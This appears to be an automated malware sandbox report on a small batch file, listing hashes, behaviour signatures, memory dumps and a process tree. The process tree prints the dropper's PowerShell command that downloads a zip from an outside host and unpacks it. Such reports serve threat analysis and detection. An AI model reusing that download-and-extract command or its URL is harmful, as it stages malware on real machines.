3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1566s
max time network
1569s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 17:25

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General

Target

tesy - Copy (10).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	1468	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1468	powershell.exe
2848	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1920 wrote to memory of 1468	1920	cmd.exe	29
PID 1920 wrote to memory of 1468	1920	cmd.exe	29
PID 1920 wrote to memory of 1468	1920	cmd.exe	29
PID 1920 wrote to memory of 2848	1920	cmd.exe	30
PID 1920 wrote to memory of 2848	1920	cmd.exe	30
PID 1920 wrote to memory of 2848	1920	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
33f776c7e20709f3c7a83df023dfb6a7

SHA1
59f07cb2b571e8857b2f3777a4474d86343892de

SHA256
e52e9f9ac1dad529c3c2334331a65fedc9891742ab58f75b4c02925bf1c842b0

SHA512
7f31acf429f062f160553ef18484d5788169a69bb7af73f17b4ae8d530a542d47aeb18aea3043be51c42ea5f63b91ef6635d9adb2964eeddd6209c3351facfcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RRO09F1GPWI7YLA7W4EX.temp

Filesize
7KB

MD5
33f776c7e20709f3c7a83df023dfb6a7

SHA1
59f07cb2b571e8857b2f3777a4474d86343892de

SHA256
e52e9f9ac1dad529c3c2334331a65fedc9891742ab58f75b4c02925bf1c842b0

SHA512
7f31acf429f062f160553ef18484d5788169a69bb7af73f17b4ae8d530a542d47aeb18aea3043be51c42ea5f63b91ef6635d9adb2964eeddd6209c3351facfcf

Download Submit
memory/1468-8-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/1468-7-0x000000001B0E0000-0x000000001B3C2000-memory.dmp

Filesize
2.9MB

Download
memory/1468-4-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/1468-9-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download
memory/1468-10-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/1468-12-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/1468-6-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/1468-5-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2848-18-0x000000001B150000-0x000000001B432000-memory.dmp

Filesize
2.9MB

Download
memory/2848-19-0x000007FEF4ED0000-0x000007FEF586D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-20-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2848-21-0x000007FEF4ED0000-0x000007FEF586D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-22-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2848-23-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2848-24-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2848-25-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2848-26-0x000007FEF4ED0000-0x000007FEF586D000-memory.dmp

Filesize
9.6MB

Download